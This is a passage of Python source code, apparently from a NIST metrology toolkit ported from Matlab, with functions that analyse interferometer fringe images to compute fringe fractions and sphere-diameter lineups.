//////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n circle = plt.Circle((xc, yc), r, edgecolor='C2', facecolor='C0', alpha=0.25)\r\n axesid.add_patch(circle)\r\n cpause(0.0001)\r\n\r\ndef ballimagegen(datain):\r\n \"\"\"\r\n ballimagegen.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n generate image of sphere from changing fringe images\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -none\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -data containing fringe images and measuring forces, data structure format\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n -image of ball shadow\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.003 to v1.00\r\n June 20, 2018\r\n -converted from ballimagegen.m to replicate behavior\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n print('\\nCalculating ball image shadow via fringe pitching...\\n')\r\n Fchange = 4. #combine image when recorded force changes by Fchange grams or more\r\n previousF = 1\r\n _, no_forces = np.shape(datain['data'])\r\n data_cp = copy.deepcopy(datain)\r\n MeasForce = np.zeros((no_forces, 2))\r\n for i in range(0, no_forces):\r\n MeasForce[i, :] = [data_cp['data'][0, i].MeasForce, i]\r\n MeasForce = MeasForce[MeasForce[:, 0].argsort()]\r\n for i in range(0, no_forces):\r\n data_cp['data'][0, i].FringeImage = datain['data'][0, int(MeasForce[i, 1])].FringeImage\r\n data_cp['data'][0, i].MeasForce = datain['data'][0, int(MeasForce[i, 1])].MeasForce\r\n im_combined = data_cp['data'][0, 0].FringeImage.astype(float) #load first fringeimage to begin combining images\r\n count = 1\r\n for i in range(1, no_forces):\r\n if (float(data_cp['data'][0, i].MeasForce) - float(data_cp['data'][0, previousF].MeasForce)) >= Fchange:\r\n im_combined = im_combined + data_cp['data'][0, i].FringeImage.astype(float)\r\n count += 1\r\n previousF = i\r\n im_combined = im_combined / count\r\n del data_cp\r\n\r\n return im_combined\r\n\r\ndef fringescan(fringeimage, X_top, Y_top, X_endtop, Y_endtop, dy_scan, n_I, I_cutoff, automode, pf_top_line): #pylint: disable=R0913, R0914, R0912, R0915\r\n \"\"\"\r\n fringescan.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n from scan endpoints, determine center of a destructive fringe\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -fringe analysis paper\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -fringeimage - 2D matrix image\r\n -X_top - array of startpoints for fringe scan in x\r\n -Y_top - array of startpoints for fringe scan in y\r\n -X_endtop - array of endpoints for fringe scan in x\r\n -Y_endtop - array of endpoints for fringe scan in x\r\n -dy_scan - height of scan in y\r\n -n_I - number of intensity values\r\n -I_cutoff - intensity cutoff value\r\n -automode - selection of automode\r\n -pf_top_line - fit, for use with automode. set 0 if not using automode\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n - center_top - matrix of fringe centers, (x,y)\r\n - pf_top_line - fit through fringe centers\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.062 to v1.00\r\n June 14, 2018\r\n -converted from fringescan.m to replicate behavior\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n I_gap = 2\r\n X_top = np.round(X_top) #round points to prevent subscript errors\r\n Y_top = np.round(Y_top)\r\n X_endtop = np.round(X_endtop)\r\n Y_endtop = np.round(Y_endtop)\r\n n_scans = sum(X_endtop - X_top) #number of scan points is equivalent to total number of horizontal pixels selected\r\n I_top = np.zeros((n_I.astype(int), n_scans.astype(int))) #pad I_top with zeros\r\n X_top_pts = np.zeros((n_I.astype(int), n_scans.astype(int)))\r\n Y_top_pts = np.zeros((n_I.astype(int), n_scans.astype(int)))\r\n if automode == 'off':\r\n pf_top_line = np.polyfit([X_top[0], X_endtop[-1]], [Y_top[0], Y_endtop[-1]], 1)\r\n if abs(1/pf_top_line[0]) > 1e9: #if slope of perpendicular starts approaching infinity\r\n pf_top_line[0] = 1/1e9 #very slightly angle the slope to prevent Inf errors in perpendicular line\r\n\r\n # scan fringes at approximately normal\r\n j = 0\r\n n = 1\r\n for i, X_top_val in enumerate(X_top):\r\n dy = (Y_endtop[i] - Y_top[i])/(X_endtop[i] - X_top_val) #change in y for each scan box\r\n x = X_top_val #first scan center point\r\n y = Y_top[i]\r\n while x < X_endtop[i]:\r\n perp_pf_top_line = [-1/pf_top_line[0], (y + 1/pf_top_line[0]*x)] #calculate perpendicular to line at each scan center\r\n perp_pfy_top_line = [1/perp_pf_top_line[0], -perp_pf_top_line[1]/perp_pf_top_line[0]] #calculate x = (y-b)/m line\r\n y_scan = np.round(np.linspace(y-dy_scan, y+dy_scan, n_I)) #y points for the scan\r\n x_scan = np.round(np.polyval(perp_pfy_top_line, y_scan)) #calculate x points based on the y points, round to prevent subscript errors\r\n for a, y_scan_val in enumerate(y_scan): #scan across fringe at angle in matrix\r\n I_top[a, j] = fringeimage[y_scan_val.astype(int), x_scan[a].astype(int)]\r\n X_top_pts[:, j] = x_scan #create x and y points for the scan\r\n Y_top_pts[:, j] = y_scan\r\n y = Y_top[i] + np.round(n*dy) #generate next scan center point\r\n x += 1\r\n j += 1\r\n n += 1\r\n n = 1 #reset n\r\n\r\n # Top fringe center finder: approximating to quadratic function\r\n _, n_scans = np.shape(X_top_pts)\r\n center_top = np.zeros((n_scans, 2))\r\n for i in range(0, n_scans):\r\n removed = I_top[:, i] < I_cutoff #find where intensity drops below cutoff\r\n removed2_index = np.diff(removed) >= I_gap #find any gaps >= I_gap\r\n removed2 = np.array([])\r\n for j, removed2_val in enumerate(removed2_index):\r\n if removed2_val <= np.round(len(removed)/2):\r\n removed2 = np.array([])\r\n removed2 = removed[removed2_val::]\r\n jmin = removed2_val\r\n elif removed2_val > np.round(len(removed)/2):\r\n if not removed2.any():\r\n removed2 = removed[0:removed2_val]\r\n else:\r\n removed2 = removed[jmin:removed2_val]\r\n break\r\n if not removed2.any():\r\n removed = removed2\r\n pf_Itop = np.polyfit(Y_top_pts[removed, i], I_top[removed, i], 2) #fit intensity data to quadratic\r\n dfdy = [2*pf_Itop[0], pf_Itop[1]] #derivative of intensity profile fit\r\n center_top[i, 1] = np.roots(dfdy) #calculate where dfdy is zero\r\n pf_scan = np.polyfit(Y_top_pts[:, i], X_top_pts[:, i], 1) #calculate line for scan\r\n center_top[i, 0] = np.polyval(pf_scan, center_top[i, 1]) #calculate position of x-center\r\n j = np.where(center_top[:, 0] == 0)[0] #if coordinates were 0,0, delete\r\n center_top = np.delete(center_top, j, axis=0)\r\n pf_top_line = np.polyfit(center_top[:, 0], center_top[:, 1], 1) #fit line to fringe centers\r\n\r\n # Redo fringe scans and fits with scans nearly normal to fringe\r\n if abs(1/pf_top_line[0] > 1e9): #if slope of perpendicular starts approaching infinity\r\n pf_top_line[0] = 1/1e9 #very slightly angle the slope to prevent Inf errors in perpendicular line\r\n j = 0\r\n n = 1\r\n for i, X_top_val in enumerate(X_top):\r\n dy = (Y_endtop[i] - Y_top[i])/(X_endtop[i] - X_top[i]) #change in y for each scan box\r\n x = X_top[i] #first scan center point\r\n y = Y_top[i]\r\n while x < X_endtop[i]:\r\n perp_pf_top_line = [-1/pf_top_line[0], (y + 1/pf_top_line[0]*x)] #calculate perpendicular to line at each scan center\r\n perp_pfy_top_line = [1/perp_pf_top_line[0], -perp_pf_top_line[1]/perp_pf_top_line[0]] #calculate x = (y-b)/m line\r\n y_scan = np.round(np.linspace(y-dy_scan, y+dy_scan, n_I)) #y points for the scan\r\n x_scan = np.round(np.polyval(perp_pfy_top_line, y_scan)) #calculate x points based on the y points, round to prevent subscript errors\r\n for a, y_scan_val in enumerate(y_scan): #scan across fringe at angle in matrix\r\n I_top[a, j] = fringeimage[y_scan[a].astype(int), x_scan[a].astype(int)]\r\n X_top_pts[:, j] = x_scan #create x and y points for the scan\r\n Y_top_pts[:, j] = y_scan\r\n y = Y_top[i] + np.round(n*dy) #generate next scan center point\r\n x += 1\r\n j += 1\r\n n += 1\r\n n = 1 #reset n\r\n # Top fringe center finder\r\n # fit fringe intensity profile to polynomial, f(x), find where df/dx = 0\r\n _, n_scans = np.shape(X_top_pts)\r\n center_top = np.zeros((n_scans, 2))\r\n for i in range(0, n_scans):\r\n removed = I_top[:, i] < I_cutoff #find where intensity drops below cutoff\r\n removed2_index = np.diff(removed) >= I_gap #find any gaps >= I_gap\r\n removed2 = np.array([])\r\n for j, removed2_val in enumerate(removed2_index):\r\n if removed2_val <= np.round(len(removed)/2):\r\n removed2 = np.array([])\r\n removed2 = removed[removed2_val::]\r\n jmin = removed2_val\r\n elif removed2_val > np.round(len(removed)/2):\r\n if not removed2.any():\r\n removed2 = removed[0:removed2_val]\r\n else:\r\n removed2 = removed[jmin:removed2_val]\r\n break\r\n if not removed2.any():\r\n removed = removed2\r\n pf_Itop = np.polyfit(Y_top_pts[removed, i], I_top[removed, i], 2) #fit intensity data to quadratic\r\n dfdy = [2*pf_Itop[0], pf_Itop[1]] #derivative of intensity profile fit\r\n center_top[i, 1] = np.roots(dfdy) #calculate where dfdy is zero\r\n pf_scan = np.polyfit(Y_top_pts[:, i], X_top_pts[:, i], 1) #calculate line for scan\r\n center_top[i, 0] = np.polyval(pf_scan, center_top[i, 1]) #calculate position of x-center\r\n j = np.where(center_top[:, 0] == 0)[0] #if coordinates were 0,0, delete\r\n center_top = np.delete(center_top, j, axis=0)\r\n pf_top_line = np.polyfit(center_top[:, 0], center_top[:, 1], 1) #fit line to fringe centers\r\n\r\n return center_top, pf_top_line\r\n\r\ndef minpt2crv(pf, xo, yo):\r\n \"\"\"\r\n fringescan.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n calculate location on 2nd-order polynomial (ax^2 + bx + c) where point (xo, yo) is closest\r\n used for approximation of a line through a point normal to given 2nd-order polynomial\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -none\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -a, b, c - coefficients of polynomial ax^2 + bx + c\r\n -xo - x-location of point\r\n -yo - y-location of point\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n -z, location in x of point\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.0 to v1.00\r\n June 20, 2018\r\n -converted from minpt2crv.m to replicate behavior\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n A = 4*pf[0]**2\r\n B = 6*pf[0]*pf[1]\r\n C = -4*pf[0]*yo + 4*pf[0]*pf[2] + 2*pf[1]**2 + 2\r\n D = -2*pf[1]*yo - 2*xo + 2*pf[1]*pf[2]\r\n\r\n def df(x, A, B, C, D):\r\n \"\"\"\r\n internal function for minpt2crv, calculates derivative\r\n \"\"\"\r\n return A*x**3 + B*x**2 + C*x + D\r\n\r\n z = optimize.fsolve(df, xo, args=(A, B, C, D))\r\n\r\n return z\r\n\r\ndef FFanalysis(pf_top, pf_bot, xc, yc, x_res): #pylint: disable=R0914, R0912\r\n \"\"\"\r\n FFanalysis.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n calculate fringe fraction from polyfit curves to fringe centers\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -none\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n -\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.003 to v1.00\r\n June 20, 2018\r\n -converted from FFanalysis.m to replicate behavior\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n\r\n # Top fringe, find point nearest to curve\r\n near_top = np.zeros((1, 2))\r\n near_bot = np.zeros((1, 2))\r\n\r\n near_top[0, 0] = minpt2crv(pf_top, xc, yc) #minimize point to polynomial distance in x\r\n near_top[0, 1] = np.polyval(pf_top, near_top[0, 0]) #calculate point in y\r\n # Bottom fringe, find point nearest to curve\r\n near_bot[0, 0] = minpt2crv(pf_bot, xc, yc) #minimize point to polynomial distance in y\r\n near_bot[0, 1] = np.polyval(pf_bot, near_bot[0, 0]) #calculate point in y\r\n\r\n # fringe fraction nearly normal to fringes (average of slopes)\r\n # calculate derivative of polynomial and tangent line at point\r\n dpf_top = [2*pf_top[0], pf_top[1]] #derivative of polynomial fit of top fringe\r\n mTTop = np.polyval(dpf_top, near_top[0, 0]) #slope of tangent\r\n perp_top_tan = np.array([-1/mTTop, (yc + 1/mTTop*xc)]) #line of top perpendicular to tangent through ball center\r\n\r\n dpf_bot = [2*pf_bot[0], pf_bot[1]] #derivative of polnomial fit of bottom fringe\r\n mTBot = np.polyval(dpf_bot, near_bot[0, 0]) #slope of tangent\r\n perp_bot_tan = np.array([-1/mTBot, yc + 1/mTBot*xc]) #line of bottom perpendicular to tangent through ball center\r\n # check if perpendicular projections are opposing vectors. if so, invert one (bottom)\r\n if (perp_top_tan[0] > 0 and perp_bot_tan[0] < 0) or (perp_top_tan[0] < 0 and perp_bot_tan[0] > 0):\r\n if (perp_top_tan[1] > 0 and perp_bot_tan[1] < 0) or (perp_top_tan[1] < 0 and perp_bot_tan[1] > 0):\r\n perp_bot_tan = np.array([1/mTBot, (yc - 1/mTBot*xc)])\r\n avg_perp = (perp_top_tan + perp_bot_tan)/2 #average perpendicular to tangent through ball center\r\n avg_perp = np.append(0, avg_perp)\r\n\r\n T = np.roots(pf_top - avg_perp) #find intersection of perp tangent and fringe profile\r\n B = np.roots(pf_bot - avg_perp)\r\n # check which intersection point lines within range of image\r\n if len(T) >= 2:\r\n # check if top intersection lies within range of image\r\n if T[0] > 0 and T[0] < x_res:\r\n T = np.delete(T, 1)\r\n elif T[1] > 0 and T[1] < x_res:\r\n T[0] = T[1]\r\n T = np.delete(T, 1)\r\n else:\r\n raise ValueError('Top perpendicular intersection of fringe fit and FF evaluation axis not found.')\r\n\r\n if B[0] > 0 and B[0] < x_res:\r\n B = np.delete(B, 1)\r\n elif B[1] > 0 and B[1] < x_res:\r\n B[0] = B[1]\r\n B = np.delete(B, 1)\r\n else:\r\n raise ValueError('Bottom perpendicular intersection of fringe fit and FF evaluation axis not found.')\r\n\r\n else:\r\n if T < 0 or T > x_res:\r\n raise ValueError('Top perpendicular intersection of fringe fit and FF evaluation axis not found.')\r\n if B < 0 or B > x_res:\r\n raise ValueError('Bottom perpendicular intersection of fringe fit and FF evaluation axis not found.')\r\n dist_TB = ((T - B)**2 + (np.polyval(avg_perp, T) - np.polyval(avg_perp, B))**2)**(1/2) #calculate distance between top and bottom fringe along average perp\r\n dist_CB = ((xc - B)**2 + (yc - np.polyval(avg_perp, B))**2)**(1/2) #calculate distance between ball center and bottom fringe\r\n FFexact = dist_CB/dist_TB #fringe fraction is then the ratio between ball center to bottom and top to bottom\r\n if yc > np.polyval(avg_perp, B): #if ball center was below bottom fringe\r\n FFexact = -FFexact #display as negative\r\n\r\n return FFexact, avg_perp\r\n\r\ndef strang_autolineup(ball_results): #pylint: disable=R0914\r\n \"\"\"\r\n strang_autolineup.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n Calculates lineup of a ball in deformed state from strangviewer interferometer, corrected to 20 deg. C\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -verified against Wei Ren's (NIST) Gage Block: Spectrum softare to within 0.10 nm lineup\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -ball_results, dictionary containing environment conditions and fringe fraction results\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n -lineup_const - constructive interference lineup, nm\r\n -m_modifier - modifier to add to lineups to shift to another fringe order\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.14 to v1.00\r\n June 20, 2018\r\n -converted from strang_autolineup.m to replicate behavior\r\n -removed output of deformation and measurement forces\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n # load variables from ball_rersults input\r\n lambda_air = np.zeros(np.shape(ball_results['T_matl']))\r\n no_images, no_forces = np.shape(ball_results['T_matl'])\r\n\r\n with open(fringefinderfuncs_directory+'/laser_wavelengths.csv') as laserfile:\r\n reader = csv.reader(laserfile, delimiter=',') #read laser vacuum wavelengths and obliquity\r\n laserfiledata = list(zip(*reader))\r\n lambda_vac = float(laserfiledata[1][laserfiledata[0].index('strang_HeNe')])\r\n slitobliq = float(laserfiledata[1][laserfiledata[0].index('strang2_slitobliq')]) #strang #2 slit and obliquity, ppm (nm/mm)\r\n\r\n for i in range(0, no_images):\r\n for j in range(0, no_forces):\r\n lambda_air[i, j] = wavelength_air(ball_results['T_air'][i, j], ball_results['RH_air'][i, j], ball_results['P_air'][i, j], lambda_vac)\r\n\r\n balldev = ball_results['ballnomdev'] - ball_results['def_top'] - ball_results['def_bot']\r\n L = ball_results['ballnom'] + ball_results['ballnomdev']/1e6 #best known ball size, mm\r\n\r\n # constructive fringe\r\n # L = m(lambda/2)\r\n m_const = np.floor(2*L/(lambda_air/1e6)) #calculate fringe order\r\n # calculate nominal deviation lineup in nanometers\r\n lineup_const = (((m_const*lambda_air/2 + lambda_air/2*(ball_results['FFexact_all']/100))/1e6 - ball_results['dL_T'] + slitobliq*ball_results['ballnom']/1e6 - ball_results['ballnom'])*1e6) #calculate constructive interference lineup\r\n lineup_const_shifted = ((((m_const + 1)*lambda_air/2 + lambda_air/2*(ball_results['FFexact_all']/100))/1e6 - ball_results['dL_T'] + slitobliq*ball_results['ballnom']/1e6 - ball_results['ballnom'])*1e6) #calculate constructive interference lineup shifted by 1 fringe order\r\n m_modifier = sum(np.sum(lineup_const_shifted - lineup_const, axis=0) / no_images)/no_forces #calculate average distance between consecutive fringe orders\r\n\r\n # compare lineup to balldev, if difference is greater than (m_modifier/2), shift lineup by +/- m_modifier\r\n for i in range(0, no_images): #shift rest of the image lineup per force\r\n for j in range(0, no_forces): #shift first image lineup per force first\r\n err = 1\r\n while abs(lineup_const[i, j] - balldev[i, j]) >= m_modifier/2:\r\n if (lineup_const[i, j] - balldev[i, j]) >= m_modifier/2:\r\n lineup_const[i, j] = lineup_const[i, j] - m_modifier\r\n elif abs(lineup_const[i, j] - balldev[i, j]) >= m_modifier/2 and (lineup_const[i, j] - balldev[i, j]) < 0:\r\n lineup_const[i, j] = lineup_const[i, j] + m_modifier\r\n err += 1 #while breakout\r\n if err > 100:\r\n raise ValueError('Too many fringe order shift iterations (>100) in solving lineup_const')\r\n\r\n # %destructive fringe\r\n # % L = (m+1/2)(lambda/2)\r\n # % m_dest = floor(2*L/(lambda_air/1e6)) + 1/2;\r\n # %lineup_dest = (m_dest*lambda_air/2 + lambda_air/2*(FF/100))/1e6 - dL_T + slitobliq*L/1e6 - ballnom;\r\n\r\n # store slope, if residuals < 10 nm (good F^(2/3) fit)\r\n # pf_force_lineup_residuals = lineup_const - polyval(pf_force_lineup, meas_forces23)\r\n # if max(abs(pf_force_lineup_residuals)) < 10:\r\n # #this was unfinished in MATLAB, too\r\n # end\r\n\r\n return lineup_const, m_modifier\r\n\r\ndef Make2DMatlike(w, h):\r\n \"\"\"\r\n Make2DMatlike.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n July, 2018\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n create a 2D Matlab-like data structure. Once saved with scipy.io.savemat, it can be accessed like a Matlab .mat file in Matlab or Python\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -none\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -w - width of matrix, columns\r\n -h - height of matrix, rows\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n -list of list of dictionaries sized w by h\r\n assign dictionary key and value using A['data'][r][c][key] = value\r\n get value using A['data'][r][c][key]\r\n once A is saved with scipy.io.savemat, values can be assigned using above OR A['data'][r, c].key\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from v1.00 to v1.00\r\n July 4, 2018\r\n -initial version\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n return {'data' : [[{} for x in range(h)] for y in range(w)]}\r\n\r\ndef filter_conv(arrayin, width):\r\n \"\"\"\r\n filter_conv.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n July, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n convolution filter - filter a data point in array based on value of surrounding data points. useful for averaging random noise\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -Coordinate Measuring Machines and Systems (Bob Hocken) book\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -array - 1D array of data points\r\n -width - width of data points in array to apply filter. only positive nonzero integers. only odd numbers\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n -conv_array - convoluted array\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.00 to v1.00\r\n July 7, 2018\r\n -converted from filter_conv.m to replicate behavior\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n # check if width is positive nonzero integer\r\n if not isinstance(width, int) or width <= 0:\r\n raise ValueError('Width of filter must be positive and nonzero integer.')\r\n\r\n # check if width is odd number\r\n if width%2 == 0:\r\n raise ValueError('Width of filter must be an odd number.')\r\n\r\n width_half = int((width - 1)/2)\r\n conv_array = np.zeros((len(arrayin)))\r\n for i in range(0, len(arrayin)):\r\n if i <= width_half:\r\n left = 0\r\n right = i+width_half+1\r\n elif len(arrayin) - i <= width_half:\r\n left = i - width_half\r\n right = len(arrayin)\r\n else:\r\n left = i - width_half\r\n right = i + width_half+1\r\n conv_array[i] = sum(arrayin[slice(left, right)])/len(np.arange(left, right))\r\n return conv_array\r\n\r\ndef fringe_autoscan(fringeimage, I_drop, I_max, n_nodes, xc, yc, r, allmode, xymbloop): #not too many statements, branches, variables, arguments. leave me be, pylint: disable=R0913, R0914, R0912, R0915\r\n \"\"\"\r\n fringe_autoscan.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n July, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n generate scan nodes and calculate fringe positions and orientations\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -none\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -fringeimage - fringe pattern image in uint8 format\r\n -I_drop - amount of intensity drop (8 bit) to determine edge of fringe region, for approximate fringe location\r\n -I_max - maximuum intensity for destructive fringe determination, for approximate fringe location\r\n -n_nodes - number of verical scan nodes\r\n -xc - center of ball in x (horizontal)\r\n -yc - center of ball in y (vertical)\r\n -allmode - string toggle, 'all' or 'center', output all fringes or only two fringes surrounding ball center\r\n -xymbloopint - intersection coordinates of loop stem-bal shadow, and mx+b equation for each side of loop stem [leftx lefty leftm leftb; rightx righty rightm rightb]\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n -fringe - dictionary, each fringe(n) containts information for each destructive fringe\r\n fringe[n]['center'] - center of node in (x,y)\r\n fringe[n]['X_top'] - locations of node start scans in X\r\n fringe[n]['Y_top'] - locations of node start scans in Y\r\n fringe[n]['X_endtop'] - locations of node end scans in X\r\n fringe[n]['Y_endtop'] - locations of node end scans in Y\r\n fringe[n]['pf_fringe'] - first order polynomial fit of nth fringes\r\n scan_width - width of each node in pixels\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.017 to v1.000\r\n July 4, 2018\r\n -converted from fringe_autoscan.m to replicate behavior\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n # Variables\r\n Iwidth_min = 10 #default 10 #minimum pixel width of I_drop\r\n scan_increase = 0.5 #default 0.75\r\n rx_avoid = 25 #default 25 #number of pixels in x from ball shadow to avoid\r\n ry_avoid = 30 #default 50 #number of pixels in y from ball shadow to avoid\r\n edge_avoid = 15 #default 20\r\n node_fringe_min = 4 #minimum number of nodes on a fringe\r\n loop_avoid = 20 #number of pixels in x from loop shadow to avoid\r\n y_res, x_res = np.shape(fringeimage)\r\n node_width = np.round(x_res/n_nodes) #width of each node, pixels\r\n py = np.arange(0, y_res)\r\n\r\n # Detect fringe locations surrounding ball center\r\n # scan every 1/n_nodes horizontal of image\r\n # filter drops that are less than Iwidth_min pixels\r\n # determine approximate fringe center\r\n scan = {}\r\n center_approx = {}\r\n index_new = {}\r\n for i in range(1, n_nodes): #lots of nests are ok if they work, pylint: disable=R1702\r\n scan[str(i-1)] = [np.linspace(np.round((i)/n_nodes*x_res - 1/(2*n_nodes)*x_res), np.round(i/n_nodes*x_res - 1/(2*n_nodes)*x_res), y_res).astype(int), np.linspace(0, y_res-1, y_res).astype(int)]\r\n ytest = []\r\n #if within region of ball shadow, remove node\r\n if (scan[str(i-1)][0] > (xc - r - rx_avoid)).any() and (scan[str(i-1)][0] < (xc + r + rx_avoid)).any(): #remove square area around (xc,yc) + r + rx/y_avoid\r\n ytest = np.arange(np.round(yc - r - ry_avoid), np.round(yc + r + ry_avoid))\r\n\r\n if sum(xymbloop) != 0: #if loop region exists and node is within region, remove scans in that region\r\n if xymbloop[1] < yc:\r\n raise ValueError('There is not a case for ball loop above sphere in image.')\r\n Lloop_xvals = min(np.round((py[py > xymbloop[1]] - xymbloop[3])/xymbloop[2]))\r\n Rloop_xvals = min(np.round((py[py > xymbloop[5]] - xymbloop[7])/xymbloop[6]))\r\n if scan[str(i-1)][0][0] > (Lloop_xvals - loop_avoid) and scan[str(i-1)][0][0] < (Rloop_xvals + loop_avoid): #if scan(i) falls within loop x-range\r\n AL = [[xymbloop[2], -1], #coefficient matrix\r\n [1, 0]]\r\n BL = [[-xymbloop[3]], #parameter matrix\r\n [scan[str(i-1)][0][0]]]\r\n Lloopint, _, _, _ = np.linalg.lstsq(AL, BL, rcond=None) #solve for intersection\r\n AR = [[xymbloop[6], -1],\r\n [1, 0]]\r\n BR = [[-xymbloop[7]],\r\n [scan[str(i-1)][0][0]]]\r\n Rloopint, _, _, _ = np.linalg.lstsq(AR, BR, rcond=None)\r\n\r\n if Lloopint[1] < yc and Lloopint[1] > y_res and Rloopint[1] < yc and Rloopint[1] > y_res: #if both intersection solutions lies in range of image for scan(i).pos(1,1)\r\n if xymbloop[2] < 0: #if loop tilted down and right for scan\r\n ytest = np.append(ytest, np.arange(np.round(Rloopint[1]), np.round(Lloopint[1]))) #remove points between right loop intersection and left loop intersection\r\n elif xymbloop[2] > 0: #if loop tilted up and right for scan\r\n ytest = np.append(ytest, np.arange(np.round(Lloopint[1]), np.round(Rloopint[1]))) #remove points between left loop intersection and right loop intersection\r\n elif Lloopint[1] < yc and Lloopint[1] > y_res: #if only left loop intersection lies in range of image for scan(i).pos(1,1)\r\n if xymbloop[2] < 0: #if loop tilted down and right for scan\r\n ytest = np.append(ytest, np.arange(np.round(xymbloop[1]), np.round(Rloopint[1]))) #remove points between ball shadow and left loop intersection\r\n elif xymbloop[2] > 0: #if loop tilted up and right for scan\r\n ytest = np.append(ytest, np.arange(np.round(Lloopint[1]), y_res)) #remove points between left loop intersection and bottom of image\r\n elif Rloopint[1] < yc and Rloopint[1] > y_res: #if only right loop intersection lies in range of image for 